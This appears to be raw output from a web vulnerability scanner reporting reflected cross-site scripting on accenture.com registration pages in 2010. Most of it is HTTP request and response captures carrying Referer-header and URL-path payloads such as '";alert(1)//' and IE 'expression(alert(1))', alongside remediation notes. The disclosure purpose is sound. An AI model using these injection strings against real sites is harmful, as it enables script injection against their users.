GET /Accenture/Registration/SendPassword.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: 7b8e6"%3balert(1)//52d4b73a73a
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:46:38 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:46:38 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=LoginPage.aspx&Content=Thank you. Your password will be sent to your e-mail address.&ThankYouPageTitle=Send Password Confirmation&ReferrerPageTitle=Login; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 52598
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Send Password</title> <script language="Javascript"> function WindowParent(link){ window.opener.docu ...[SNIP]... cript language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/sendpassword.aspx" var formPageReferrer="accenture/registration/7b8e6";alert(1)//52d4b73a73a" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b801d"%3balert(1)//a7b9d784f20 was submitted in the Referer HTTP header. This input was echoed as b801d";alert(1)//a7b9d784f20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Accenture/Registration/SignOutPage.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: b801d"%3balert(1)//a7b9d784f20
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:46:34 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:46:34 GMT; path=/ Set-Cookie: SignOutPage=PrevUrl=https://www.accenture.com/Accenture/Registration/b801d";alert(1)//a7b9d784f20; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 51619
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Sign Out Confirmation</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta ...[SNIP]... script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/signoutpage.aspx" var formPageReferrer="accenture/registration/b801d";alert(1)//a7b9d784f20" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3399"%3balert(1)//c1a5427bf9a was submitted in the Referer HTTP header. This input was echoed as e3399";alert(1)//c1a5427bf9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Global/Registration/Email_This.htm HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: e3399"%3balert(1)//c1a5427bf9a
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:45:31 GMT Content-Length: 27347 Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:45:31 GMT; path=/ Set-Cookie: EmailColleagueLinkGuid=GUID=&IsSecured=; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=/global/personalization&Content=&ThankYouPageTitle=Confirmation&ReferrerPageTitle=Your Content&ThankYouPageType=&ThankYouPageLinks=; path=/ Set-Cookie: FormSubmitURL=/Global/Registration/PopupThankYouPage; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">E-mail Article to a Colleague</title> <META http-equiv="Content-Type" content="text/html; ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/email_this.htm" var formPageReferrer="accenture/registration/e3399";alert(1)//c1a5427bf9a" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15d2a"%3balert(1)//20d6ecca920 was submitted in the Referer HTTP header. This input was echoed as 15d2a";alert(1)//20d6ecca920 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD html 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">Submit feedback on accenture.com</title> <!-- Meta Data --> <meta http-equiv="Content ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/feedbackform.htm" var formPageReferrer="accenture/registration/15d2a";alert(1)//20d6ecca920" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da574"%3balert(1)//2f39dd2c397 was submitted in the Referer HTTP header. This input was echoed as da574";alert(1)//2f39dd2c397 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">Send us an E-mail</title> <META http-equiv="Content-Type" content="text/html; charset=win ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/mailto.htm" var formPageReferrer="accenture/registration/da574";alert(1)//2f39dd2c397" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0b3c"%3balert(1)//dafb89c6dc9 was submitted in the Referer HTTP header. This input was echoed as d0b3c";alert(1)//dafb89c6dc9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Global/Registration/Personalization HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: d0b3c"%3balert(1)//dafb89c6dc9
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:45:39 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:45:38 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=/global/personalization&Content=%3cp%3eThank+you+for+registering+to+the+site+and+Personalization.+As+a+registered+user+there+are+a+variety+of+special+features+available+to+you%2c+such+as+a+personalized+information+on+%22Your+Content%22+page%2c+email+alerts+on+new+material+of+interest+and+newsletters+which+summarize+our+best+new+content.+Please+visit+%3ca+href%3d%22EAN.aspx%22%3eEmail+Alerts+and+Newsletters%3c%2fa%3e+for+more+information+on+these+topics+and+to+modify+your+profile.%3c%2fp%3e&ThankYouPageTitle=Confirmation&ReferrerPageTitle=Your Content&ThankYouPageType=&ThankYouPageLinks=; path=/ Set-Cookie: FormSubmitURL=ThankYouPage.aspx; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 110320
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">accenture.com Personalization Registration</title> <META http-equiv="Content-Type" conten ...[SNIP]... script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/personalization.htm" var formPageReferrer="accenture/registration/d0b3c";alert(1)//dafb89c6dc9" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49479"%3balert(1)//08812ad7b8a was submitted in the Referer HTTP header. This input was echoed as 49479";alert(1)//08812ad7b8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Global/Registration/RequestServices.htm?link=%2fAccenture%2fRegistration%2fEAN.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: 49479"%3balert(1)//08812ad7b8a
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:46:04 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:46:04 GMT; path=/ Set-Cookie: UrlTracker=ReferrerPageURL=/global/personalization&Content=&ThankYouPageTitle=Confirmation&ReferrerPageTitle=Your Content&ThankYouPageType=&ThankYouPageLinks=; path=/ Set-Cookie: FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 88917
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title id="pageTitle">Request for Services</title> <META http-equiv="Content-Type" content="text/html; charset= ...[SNIP]... script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/requestservices.htm" var formPageReferrer="accenture/registration/49479";alert(1)//08812ad7b8a" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dae01"%3balert(1)//ee29f38111e was submitted in the Referer HTTP header. This input was echoed as dae01";alert(1)//ee29f38111e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /accenture/registration/PrintThis.aspx?GUID={13DF5E01-389F-4013-BC36-296A775C1FE5}&footerGuid=9E541954-D5F8-4EC6-AF22-9FF473A55D70&authorContext=PresentationPublished&channelguid={4FDF0FFF-C188-490F-AEA1-A93A6B40D85B}&windowTitle=Submit HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: dae01"%3balert(1)//ee29f38111e
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:47:08 GMT Content-Length: 8044 Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:08 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<title>Submit</title> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>PrintThis</title>
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR"> ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/printthis.aspx" var formPageReferrer="accenture/registration/dae01";alert(1)//ee29f38111e" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 750b6"%3balert(1)//fa0abef87abb5e8ef was submitted in the Referer HTTP header. This input was echoed as 750b6";alert(1)//fa0abef87abb5e8ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 17:15:39 GMT Connection: keep-alive Set-Cookie: Commerce2002_TestSessionCookie=TestCookie; path=/ Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 17:15:40 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 8224
<title>Submit6a17b</title><x style=x:expression(alert(1))>1898685ddda</title> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>PrintThis</title>
<meta ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="accenture/registration/printthis.aspx" var formPageReferrer="accenture/registration/750b6";alert(1)//fa0abef87abb5e8ef" </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c22f"%3balert(1)//0189a8276ee was submitted in the Referer HTTP header. This input was echoed as 3c22f";alert(1)//0189a8276ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /global/registration/careerssample HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F; Referer: 3c22f"%3balert(1)//0189a8276ee
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:45:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:45:35 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache Content-Length: 80136
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML lang="en-US"> <HEAD> <title> Accenture Careers Newsletter </title> <META http-equiv="Content-Type" content="te ...[SNIP]... <script language="JavaScript" type="text/javascript"> var s_account="accaccenturecom,accglobal" var currentPage="global/registration/careerssample.htm" var formPageReferrer="accenture/templates/3c22f";alert(1)//0189a8276ee" </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fb2ff'style%3d'x%3aexpression(alert(1))'3c988d977d0 was submitted in the REST URL parameter 3. This input was echoed as fb2ff'style='x:expression(alert(1))'3c988d977d0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Location: https://www.accenture.com/Accenture/Registration/EAN.aspxfb2ff'style='x:expression(alert(1))'3c988d977d0 Content-Type: text/html; charset=utf-8 Content-Length: 221 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 16:48:02 GMT Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:01 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.accenture.com/Accenture/Registration/EAN.aspxfb2ff'style='x:expression(alert(1))'3c988d977d0'>here</a>.</ ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4ae7d'style%3d'x%3aexpression(alert(1))'5890a800d50 was submitted in the REST URL parameter 3. This input was echoed as 4ae7d'style='x:expression(alert(1))'5890a800d50 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Accenture/Registration/LoginPage.aspx4ae7d'style%3d'x%3aexpression(alert(1))'5890a800d50 HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Location: https://www.accenture.com/Accenture/Registration/LoginPage.aspx4ae7d'style='x:expression(alert(1))'5890a800d50 Content-Type: text/html; charset=utf-8 Content-Length: 227 Vary: Accept-Encoding Date: Sun, 21 Nov 2010 16:47:55 GMT Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:47:55 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.accenture.com/Accenture/Registration/LoginPage.aspx4ae7d'style='x:expression(alert(1))'5890a800d50'>here< ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2da4c'%20a%3db%2018a8563620b was submitted in the REST URL parameter 1. This input was echoed as 2da4c' a=b 18a8563620b in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
